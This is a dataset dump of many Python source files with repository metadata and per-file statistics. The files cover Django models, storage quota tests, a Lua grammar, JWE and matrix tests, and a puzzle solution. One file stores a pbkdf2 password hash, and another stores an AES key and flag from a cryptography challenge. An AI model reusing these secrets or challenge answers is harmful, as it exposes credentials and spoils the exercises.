... | 33.435252 | 152 | 0.489618 | 1,298 | 9,295 | 3.391371 | 0.143297 | 0.019082 | 0.024534 | 0.018174 | 0.86756 | 0.86756 | 0.86756 | 0.842117 | 0.842117 | 0.838028 | 0 | 0.102353 | 0.359871 | 9,295 | 277 | 153 | 33.555957 | 0.637479 | 0.07929 | 0 | 0.786611 | 0 | 0.050209 | 0.25344 | 0.185934 | 0 | 0 | 0 | 0 | 0 | 1 | 0.041841 | false | 0.012552 | 0.025105 | 0 | 0.07113 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
4558b17fb48825fc5c19a2a20fe9d28fd1ac40cd | 165 | py | Python | infobip_channels/sms/models/query_parameters/update_scheduled_messages_status.py | infobip-community/infobip-api-python-sdk | 5ffc5ab877ee1748aa29391f991c8c5324387487 | [
"MIT"
] | null | null | null | infobip_channels/sms/models/query_parameters/update_scheduled_messages_status.py | infobip-community/infobip-api-python-sdk | 5ffc5ab877ee1748aa29391f991c8c5324387487 | [
"MIT"
] | null | null | null | infobip_channels/sms/models/query_parameters/update_scheduled_messages_status.py | infobip-community/infobip-api-python-sdk | 5ffc5ab877ee1748aa29391f991c8c5324387487 | [
"MIT"
] | null | null | null | from infobip_channels.sms.models.query_parameters.core import ScheduledSMSMessages
class UpdateScheduledSMSMessagesQueryParameters(ScheduledSMSMessages):
pass
| 27.5 | 82 | 0.878788 | 14 | 165 | 10.214286 | 0.928571 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.078788 | 165 | 5 | 83 | 33 | 0.940789 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.333333 | 0.333333 | 0 | 0.666667 | 0 | 1 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 7 |
4563e0df357b0f3e0b66e87dc28a8fd529f9eb0c | 119 | py | Python | efilter/transforms/__init__.py | Onager/dotty | b145131499be0c4b755fc2e2ac19be11a50bce6a | [
"Apache-2.0"
] | 54 | 2015-08-02T14:26:50.000Z | 2021-10-21T02:44:25.000Z | efilter/transforms/__init__.py | Onager/dotty | b145131499be0c4b755fc2e2ac19be11a50bce6a | [
"Apache-2.0"
] | 23 | 2015-11-27T10:08:58.000Z | 2017-09-27T08:54:56.000Z | efilter/transforms/__init__.py | Onager/dotty | b145131499be0c4b755fc2e2ac19be11a50bce6a | [
"Apache-2.0"
] | 16 | 2015-08-14T10:11:20.000Z | 2021-10-21T02:44:18.000Z | """EFILTER Forensic Query Language"""
from efilter.transforms import asdottysql
from efilter.transforms import aslisp
| 23.8 | 41 | 0.823529 | 14 | 119 | 7 | 0.642857 | 0.22449 | 0.428571 | 0.55102 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.109244 | 119 | 4 | 42 | 29.75 | 0.924528 | 0.260504 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 8 |
45682f89482bac840f40537d8c0835af8cc0be1f | 13,646 | py | Python | vvs_app/nodes/default_functions.py | Sheriff99yt/Vision_Visual_Scripting | a930c805ff91379baf5cbb08d08b7f383eab2f95 | [
"MIT"
] | 5 | 2021-12-17T06:52:11.000Z | 2021-12-20T19:52:57.000Z | vvs_app/nodes/default_functions.py | Sheriff99yt/Vision_Visual_Scripting | a930c805ff91379baf5cbb08d08b7f383eab2f95 | [
"MIT"
] | null | null | null | vvs_app/nodes/default_functions.py | Sheriff99yt/Vision_Visual_Scripting | a930c805ff91379baf5cbb08d08b7f383eab2f95 | [
"MIT"
] | null | null | null | from qtpy.QtGui import *
from vvs_app.nodes.nodes_configuration import *
from vvs_app.master_node import MasterNode
from textwrap import *
FontSize = 14
FontFamily = "Roboto"
mathOperators = "#70307030"
logicOperators = "#30000050"
def Indent(String):
return indent(String, ' ')
# Process
class IfStatement(... | 25.942966 | 85 | 0.580536 | 1,686 | 13,646 | 4.435943 | 0.086595 | 0.057093 | 0.031288 | 0.04867 | 0.815483 | 0.796497 | 0.765343 | 0.731114 | 0.70718 | 0.688327 | 0 | 0.019452 | 0.280448 | 13,646 | 526 | 86 | 25.942966 | 0.742234 | 0.021984 | 0 | 0.72335 | 0 | 0 | 0.136128 | 0.0039 | 0 | 0 | 0 | 0 | 0 | 1 | 0.07868 | false | 0 | 0.010152 | 0.002538 | 0.362944 | 0.022843 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
45dc8195fa7cfd737d8a2e41a6f9b91e36c6e5b1 | 5,618 | py | Python | aries_cloudagent/utils/tests/test_jwe.py | kuraakhilesh8230/aries-cloudagent-python | ee384d1330f6a50ff45a507392ce54f92900f23a | [
"Apache-2.0"
] | 247 | 2019-07-02T21:10:21.000Z | 2022-03-30T13:55:33.000Z | aries_cloudagent/utils/tests/test_jwe.py | kuraakhilesh8230/aries-cloudagent-python | ee384d1330f6a50ff45a507392ce54f92900f23a | [
"Apache-2.0"
] | 1,462 | 2019-07-02T20:57:30.000Z | 2022-03-31T23:13:35.000Z | aries_cloudagent/utils/tests/test_jwe.py | kuraakhilesh8230/aries-cloudagent-python | ee384d1330f6a50ff45a507392ce54f92900f23a | [
"Apache-2.0"
] | 377 | 2019-06-20T21:01:31.000Z | 2022-03-30T08:27:53.000Z | import json
from unittest import TestCase
from ..jwe import b64url, JweEnvelope, JweRecipient, from_b64url
IV = b"test nonce"
TAG = b"test tag"
AAD = b"test aad"
CIPHERTEXT = b"test ciphertext"
ENC_KEY_1 = b"test enc key 1"
ENC_KEY_2 = b"test enc key 2"
PARAMS = {"alg": "MyAlg"}
UNPROTECTED = {"abc": "ABC"}
class ... | 35.333333 | 87 | 0.578498 | 604 | 5,618 | 5.226821 | 0.11755 | 0.117833 | 0.022173 | 0.051315 | 0.840038 | 0.832119 | 0.808046 | 0.808046 | 0.794742 | 0.771302 | 0 | 0.019777 | 0.297971 | 5,618 | 158 | 88 | 35.556962 | 0.78068 | 0.0089 | 0 | 0.733813 | 0 | 0 | 0.075292 | 0 | 0 | 0 | 0 | 0 | 0.352518 | 1 | 0.028777 | false | 0 | 0.021583 | 0 | 0.057554 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
b34509b9712e8c8bf40ca6ff703012e73e14b46e | 1,432 | py | Python | test/summaries/test.py | stephan-cr/dude | 79e9f91ec4063a7bebaabbe32ff42136eb11af62 | [
"MIT"
] | null | null | null | test/summaries/test.py | stephan-cr/dude | 79e9f91ec4063a7bebaabbe32ff42136eb11af62 | [
"MIT"
] | null | null | null | test/summaries/test.py | stephan-cr/dude | 79e9f91ec4063a7bebaabbe32ff42136eb11af62 | [
"MIT"
] | null | null | null | import sys, os
sys.path.insert(0, os.path.abspath('../..'))
import dude.summaries
optpt = {'a': 1, 'b' : 'x'}
s = dude.summaries.LineSelect("test", header = "bla_col")
f = open('bla.txt')
print s.header(optpt.keys())
s.visit(optpt, f, sys.stdout)
print "----------"
s = dude.summaries.FilesLineSelect("test", files='b... | 23.096774 | 75 | 0.536313 | 186 | 1,432 | 4.123656 | 0.209677 | 0.08605 | 0.109518 | 0.132986 | 0.837027 | 0.837027 | 0.837027 | 0.837027 | 0.837027 | 0.837027 | 0 | 0.001732 | 0.193436 | 1,432 | 61 | 76 | 23.47541 | 0.662338 | 0 | 0 | 0.703704 | 0 | 0 | 0.139665 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.037037 | null | null | 0.222222 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
2fe6bdef05adea98e9360bfc9fa08279cd81c31b | 16,073 | py | Python | grammars/nautilus_py_grammars/lua.py | AFLplusplus/Grammar-Mutator | eedf07ddb0fb1f437f5e76b77cfd4064cf6a5d63 | [
"Apache-2.0"
] | 128 | 2020-05-05T08:40:41.000Z | 2022-03-31T22:55:01.000Z | grammars/nautilus_py_grammars/lua.py | AFLplusplus/Grammar-Mutator | eedf07ddb0fb1f437f5e76b77cfd4064cf6a5d63 | [
"Apache-2.0"
] | 23 | 2020-08-30T08:17:11.000Z | 2022-03-31T19:08:11.000Z | grammars/nautilus_py_grammars/lua.py | AFLplusplus/Grammar-Mutator | eedf07ddb0fb1f437f5e76b77cfd4064cf6a5d63 | [
"Apache-2.0"
] | 6 | 2020-09-01T02:02:11.000Z | 2021-05-24T20:32:16.000Z | ctx.rule(u'START',u'{PROGRAM}')
ctx.rule(u'PROGRAM',u'{STATEMENT}\n{PROGRAM}')
ctx.rule(u'PROGRAM',u'')
ctx.rule(u'STATEMENT',u';')
ctx.rule(u'STATEMENT',u'')
ctx.rule(u'STATEMENT',u'break')
ctx.rule(u'STATEMENT',u'{VAR} = {EXPR}')
ctx.rule(u'STATEMENT',u'local {VARLIST} = {EXPRLIST}')
ctx.rule(u'STATEMENT',u'{FUNCTION... | 35.403084 | 114 | 0.71281 | 2,823 | 16,073 | 4.044988 | 0.082182 | 0.277695 | 0.317366 | 0.44137 | 0.937297 | 0.785708 | 0.727384 | 0.716613 | 0.713723 | 0.700762 | 0 | 0.000899 | 0.031108 | 16,073 | 453 | 115 | 35.481236 | 0.732357 | 0 | 0 | 0.514349 | 0 | 0 | 0.49269 | 0.061843 | 0 | 0 | 0 | 0 | 0.002208 | 1 | 0 | true | 0 | 0 | 0 | 0 | 0.002208 | 0 | 0 | 0 | null | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 10 |
2fedeb0a82924968f6fdac23fcebacbaf3028cb0 | 175 | py | Python | acceptance_tests/app/models_graph.py | jhutchings1/c2cwsgiutils | 733f3eace5393539a170455038a27d42682bf4f5 | [
"BSD-2-Clause-FreeBSD"
] | null | null | null | acceptance_tests/app/models_graph.py | jhutchings1/c2cwsgiutils | 733f3eace5393539a170455038a27d42682bf4f5 | [
"BSD-2-Clause-FreeBSD"
] | null | null | null | acceptance_tests/app/models_graph.py | jhutchings1/c2cwsgiutils | 733f3eace5393539a170455038a27d42682bf4f5 | [
"BSD-2-Clause-FreeBSD"
] | null | null | null | #!/usr/bin/env python3
from c2cwsgiutils.models_graph import generate_model_graph
from c2cwsgiutils_app import models
def main():
generate_model_graph(models)
main()
| 14.583333 | 58 | 0.794286 | 24 | 175 | 5.541667 | 0.583333 | 0.240602 | 0.270677 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.019737 | 0.131429 | 175 | 11 | 59 | 15.909091 | 0.855263 | 0.12 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | true | 0 | 0.4 | 0 | 0.6 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
64167c50e6148e46e6915902785af10155b93910 | 4,571 | py | Python | pyaz/network/application_gateway/rewrite_rule/condition/__init__.py | py-az-cli/py-az-cli | 9a7dc44e360c096a5a2f15595353e9dad88a9792 | [
"MIT"
] | null | null | null | pyaz/network/application_gateway/rewrite_rule/condition/__init__.py | py-az-cli/py-az-cli | 9a7dc44e360c096a5a2f15595353e9dad88a9792 | [
"MIT"
] | null | null | null | pyaz/network/application_gateway/rewrite_rule/condition/__init__.py | py-az-cli/py-az-cli | 9a7dc44e360c096a5a2f15595353e9dad88a9792 | [
"MIT"
] | 1 | 2022-02-03T09:12:01.000Z | 2022-02-03T09:12:01.000Z | from ..... pyaz_utils import _call_az
def create(gateway_name, resource_group, rule_name, rule_set_name, variable, ignore_case=None, negate=None, no_wait=None, pattern=None):
'''
Create a rewrite rule condition.
Required Parameters:
- gateway_name -- Name of the application gateway.
- resource_gro... | 48.62766 | 188 | 0.72413 | 629 | 4,571 | 5.136725 | 0.163752 | 0.071495 | 0.046425 | 0.060353 | 0.79511 | 0.79511 | 0.79511 | 0.79511 | 0.79511 | 0.781801 | 0 | 0.000541 | 0.191643 | 4,571 | 93 | 189 | 49.150538 | 0.873884 | 0.672938 | 0 | 0 | 0 | 0 | 0.299677 | 0.016963 | 0 | 0 | 0 | 0 | 0 | 1 | 0.461538 | false | 0 | 0.076923 | 0.076923 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 7 |
4490a20395a60e655f4c30b66e7952f7094ad18d | 92 | py | Python | parameters_8080.py | jupadhya1/Twitter-Sentimental-Analysis | e8c3449cf341ca9dae44ae53e27d5b1ae0d82c5f | [
"BSD-3-Clause"
] | null | null | null | parameters_8080.py | jupadhya1/Twitter-Sentimental-Analysis | e8c3449cf341ca9dae44ae53e27d5b1ae0d82c5f | [
"BSD-3-Clause"
] | null | null | null | parameters_8080.py | jupadhya1/Twitter-Sentimental-Analysis | e8c3449cf341ca9dae44ae53e27d5b1ae0d82c5f | [
"BSD-3-Clause"
] | null | null | null | password="pbkdf2(1000,20,sha512)$ae9a9fefa0142917$95f432e51913339ba431ad0f774db466d9c89497"
| 46 | 91 | 0.891304 | 7 | 92 | 11.714286 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.527473 | 0.01087 | 92 | 1 | 92 | 92 | 0.373626 | 0 | 0 | 0 | 0 | 0 | 0.869565 | 0.869565 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 8 |
923a0cd23d1be423d550f8254f0ac1956758b45d | 28,134 | py | Python | TRAP/models.py | percevalm/aumyproject | b24b38005188ce9dd41ed663cf54dad5464afef3 | [
"bzip2-1.0.6"
] | null | null | null | TRAP/models.py | percevalm/aumyproject | b24b38005188ce9dd41ed663cf54dad5464afef3 | [
"bzip2-1.0.6"
] | 16 | 2020-03-24T17:30:37.000Z | 2022-03-11T23:57:41.000Z | TRAP/models.py | percevalm/aumyproject | b24b38005188ce9dd41ed663cf54dad5464afef3 | [
"bzip2-1.0.6"
] | null | null | null | from django.db import models
# Create your models here.
class Tsetse(models.Model):
caseno = models.IntegerField(null=True, blank=True,verbose_name=('caseno2'))
vpn = models.IntegerField(null=True, blank=True,verbose_name=('vpn'))
vol = models.IntegerField(null=True, blank=True,verbose_name=('Volume'))
pg = mode... | 107.793103 | 178 | 0.775538 | 4,300 | 28,134 | 4.964419 | 0.124186 | 0.09369 | 0.152246 | 0.199091 | 0.845037 | 0.827189 | 0.813838 | 0.801377 | 0.710873 | 0.64796 | 0 | 0.03149 | 0.087972 | 28,134 | 260 | 179 | 108.207692 | 0.80046 | 0.011481 | 0 | 0 | 0 | 0 | 0.260308 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.003937 | 0 | 0.996063 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 9 |
2b7d4ddcb67191f6576e40688ee81e909c59d0b3 | 4,088 | py | Python | tests/test_set_quota.py | ifxit/nidho | 7d49bb7d879d0f3d444df50f2c18c2cdf883216c | [
"MIT"
] | 11 | 2016-06-09T12:07:14.000Z | 2018-01-18T08:01:08.000Z | tests/test_set_quota.py | ifxit/nidho | 7d49bb7d879d0f3d444df50f2c18c2cdf883216c | [
"MIT"
] | 4 | 2016-07-06T11:06:34.000Z | 2020-01-02T10:11:48.000Z | tests/test_set_quota.py | ifxit/nidhogg | 7d49bb7d879d0f3d444df50f2c18c2cdf883216c | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
import pytest
from nidhogg.core import NidhoggException
from nidhogg.sevenmode import SevenMode
from nidhogg.clustermode import ClusterMode
pytestmark = pytest.mark.usefixtures(
"patch_timeout",
)
@pytest.mark.parametrize('mode', [
(SevenMode... | 35.241379 | 193 | 0.643346 | 466 | 4,088 | 5.420601 | 0.126609 | 0.078385 | 0.085511 | 0.079177 | 0.855107 | 0.838084 | 0.80483 | 0.80483 | 0.7692 | 0.7692 | 0 | 0.024411 | 0.148239 | 4,088 | 115 | 194 | 35.547826 | 0.701034 | 0.005137 | 0 | 0.636364 | 0 | 0 | 0.288807 | 0 | 0 | 0 | 0 | 0 | 0.068182 | 1 | 0.125 | false | 0.136364 | 0.056818 | 0 | 0.181818 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 7 |
2b7e8b774e29b79de735751a6286d1e8d5ee74a0 | 6,486 | py | Python | tests/basic_operations/test_matrix_operations.py | ikibalin/rhochi | 1ca03f18dc72006322a101ed877cdbba33ed61e7 | [
"MIT"
] | null | null | null | tests/basic_operations/test_matrix_operations.py | ikibalin/rhochi | 1ca03f18dc72006322a101ed877cdbba33ed61e7 | [
"MIT"
] | null | null | null | tests/basic_operations/test_matrix_operations.py | ikibalin/rhochi | 1ca03f18dc72006322a101ed877cdbba33ed61e7 | [
"MIT"
] | null | null | null | import math
import numpy
import numpy.linalg
from cryspy.A_functions_base.matrix_operations import \
calc_m_q_mt, calc_m1_m2, calc_q1_q2_q1, calc_m_q_inv_m, calc_mt_m, \
calc_det_m, calc_inv_m, calc_m1_m2_inv_m1, calc_m1_m2_m1t, \
calc_vt_m_v
m_11, m_12, m_13 = 1., -1., 5.
m_21, m_22, m_23 = 17., 8., 1.... | 33.958115 | 103 | 0.629818 | 1,481 | 6,486 | 2.449696 | 0.044564 | 0.08269 | 0.346748 | 0.362183 | 0.828556 | 0.781422 | 0.730706 | 0.720507 | 0.712789 | 0.704245 | 0 | 0.111801 | 0.180851 | 6,486 | 190 | 104 | 34.136842 | 0.571052 | 0 | 0 | 0.601307 | 0 | 0 | 0.018196 | 0 | 0 | 0 | 0 | 0 | 0.48366 | 1 | 0.065359 | false | 0 | 0.026144 | 0 | 0.091503 | 0.130719 | 0 | 0 | 0 | null | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
2bd297a73149189b980ca16e90f73a64e3eaaf98 | 90 | py | Python | Message-Authentication-Code/Attack-Length-Extension-CBC-MAC/key.py | amoniaka-knabino/Crypton | 91a91698050a384e7623eddc871dba1acecd585c | [
"MIT"
] | 1,175 | 2018-06-13T07:05:56.000Z | 2022-03-28T05:51:38.000Z | Message-Authentication-Code/Attack-Length-Extension-CBC-MAC/key.py | amoniaka-knabino/Crypton | 91a91698050a384e7623eddc871dba1acecd585c | [
"MIT"
] | 5 | 2019-10-12T15:43:52.000Z | 2020-08-03T05:52:08.000Z | Message-Authentication-Code/Attack-Length-Extension-CBC-MAC/key.py | amoniaka-knabino/Crypton | 91a91698050a384e7623eddc871dba1acecd585c | [
"MIT"
] | 211 | 2018-02-13T11:06:08.000Z | 2022-03-28T22:36:59.000Z | AES_key = "a9c3ffe462a9948c3e36b08d83a83e45"
MAC_flag = "438e60628a7470339f3a06d24c6e6139" | 45 | 45 | 0.877778 | 6 | 90 | 12.833333 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.529412 | 0.055556 | 90 | 2 | 45 | 45 | 0.376471 | 0 | 0 | 0 | 0 | 0 | 0.703297 | 0.703297 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
2bedd55b5aeeec7009da9243289ae9eda799e652 | 94 | py | Python | scripts/asset_processor/__init__.py | oscar-davids/verification-classifier | b65546221932036b9cd1e834de4b6fb5e7f39539 | [
"MIT"
] | 8 | 2019-06-06T08:16:45.000Z | 2021-06-26T11:53:48.000Z | scripts/asset_processor/__init__.py | oscar-davids/verification-classifier | b65546221932036b9cd1e834de4b6fb5e7f39539 | [
"MIT"
] | 95 | 2019-03-27T08:36:01.000Z | 2022-02-10T00:15:20.000Z | scripts/asset_processor/__init__.py | oscar-davids/verification-classifier | b65546221932036b9cd1e834de4b6fb5e7f39539 | [
"MIT"
] | 8 | 2019-02-28T11:21:46.000Z | 2022-03-21T07:34:20.000Z | from .video_asset_processor import *
from .video_capture import *
from .video_metrics import * | 31.333333 | 36 | 0.819149 | 13 | 94 | 5.615385 | 0.538462 | 0.369863 | 0.410959 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.117021 | 94 | 3 | 37 | 31.333333 | 0.879518 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
921b7540f7d63764df52cc4c3f33cc263913fd37 | 29,210 | py | Python | bclone/bclone_dec.py | shyamjangid07/Reverse-Engineering | 469efabcd6057f7895d8d891f1fabdf2ffe730b0 | [
"Apache-2.0"
] | 337 | 2020-08-15T12:22:14.000Z | 2022-03-29T06:05:15.000Z | bclone/bclone_dec.py | Wh014M/Reverse-Engineering | f7aae2c43f7ea4a6730964d085c07814b6660a53 | [
"Apache-2.0"
] | 3 | 2020-11-12T14:30:48.000Z | 2021-05-18T16:56:22.000Z | bclone/bclone_dec.py | Wh014M/Reverse-Engineering | f7aae2c43f7ea4a6730964d085c07814b6660a53 | [
"Apache-2.0"
] | 83 | 2020-08-15T00:22:58.000Z | 2022-03-31T08:40:23.000Z |
# Python Auto Dis Parser 1.0.1
# Author : HTR-TECH | TAHMID RAYAT
# https://linktr.ee/tahmid.rayat
# https://fb.me/tahmid.rayat.official
# ------------------------------------------
# uncompyle6 version 3.7.4
# Python bytecode 2.7
# Decompiled from: Python 2.7.16 (default, Oct 10 2019, 22:02:15)
# [GCC 8.3.0]
# Embed... | 70.555556 | 3,491 | 0.574598 | 4,619 | 29,210 | 3.606841 | 0.106517 | 0.126771 | 0.039976 | 0.052581 | 0.75072 | 0.720168 | 0.687815 | 0.665666 | 0.659364 | 0.620468 | 0 | 0.201354 | 0.221123 | 29,210 | 413 | 3,492 | 70.726392 | 0.530922 | 0.011058 | 0 | 0.386301 | 0 | 0.167123 | 0.622961 | 0.409212 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.161644 | 0.010959 | null | null | 0.178082 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 8 |
921df4828bf48935b198bdd5cfa669d8219ef560 | 4,346 | py | Python | mainapp/migrations/0001_initial.py | ilyasbabu/arts-sports-management-django | a3fd99eb0518097557ecc64e7068c668bc324e25 | [
"BSD-2-Clause"
] | 2 | 2022-01-12T15:55:13.000Z | 2022-01-15T11:10:37.000Z | mainapp/migrations/0001_initial.py | ilyasbabu/arts-sports-management-django | a3fd99eb0518097557ecc64e7068c668bc324e25 | [
"BSD-2-Clause"
] | null | null | null | mainapp/migrations/0001_initial.py | ilyasbabu/arts-sports-management-django | a3fd99eb0518097557ecc64e7068c668bc324e25 | [
"BSD-2-Clause"
] | 1 | 2022-01-12T15:56:02.000Z | 2022-01-12T15:56:02.000Z | # Generated by Django 4.0.2 on 2022-02-21 17:23
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='ArtsEvent',
fields=[
... | 53.654321 | 189 | 0.621721 | 445 | 4,346 | 5.880899 | 0.150562 | 0.036683 | 0.058846 | 0.092472 | 0.85747 | 0.831486 | 0.831486 | 0.831486 | 0.831486 | 0.831486 | 0 | 0.014234 | 0.240221 | 4,346 | 80 | 190 | 54.325 | 0.778316 | 0.010354 | 0 | 0.671233 | 1 | 0 | 0.174227 | 0.010235 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.027397 | 0 | 0.082192 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
a64bf8247b8cea3c903fddb379ab84a3d2f5666a | 98,683 | py | Python | day16.py | JustinSGray/AoC2017 | 8b0d18ce77e4ec0b9ab859bcfb457b386b617c37 | [
"Apache-2.0"
] | null | null | null | day16.py | JustinSGray/AoC2017 | 8b0d18ce77e4ec0b9ab859bcfb457b386b617c37 | [
"Apache-2.0"
] | null | null | null | day16.py | JustinSGray/AoC2017 | 8b0d18ce77e4ec0b9ab859bcfb457b386b617c37 | [
"Apache-2.0"
] | null | null | null | def spin(n):
def s(s):
return s[-n:] + s[:-n]
return s
def exchange(a, b):
def e(s):
s[b], s[a] = s[a], s[b]
return s
return e
def partner(a, b):
def p(s):
ai = s.index(a)
bi = s.index(b)
s[bi], s[ai] = s[ai], s[bi]
return s
re... | 1,072.641304 | 48,562 | 0.648997 | 34,051 | 98,683 | 1.880738 | 0.0037 | 0.002576 | 0.00075 | 0.000437 | 0.012148 | 0.000781 | 0.000781 | 0.000781 | 0.000781 | 0 | 0 | 0.350882 | 0.005057 | 98,683 | 91 | 48,563 | 1,084.428571 | 0.301373 | 0.491696 | 0 | 0.076923 | 0 | 0.015385 | 0.969755 | 0.967921 | 0 | 0 | 0 | 0 | 0 | 1 | 0.123077 | false | 0 | 0 | 0.015385 | 0.246154 | 0.153846 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
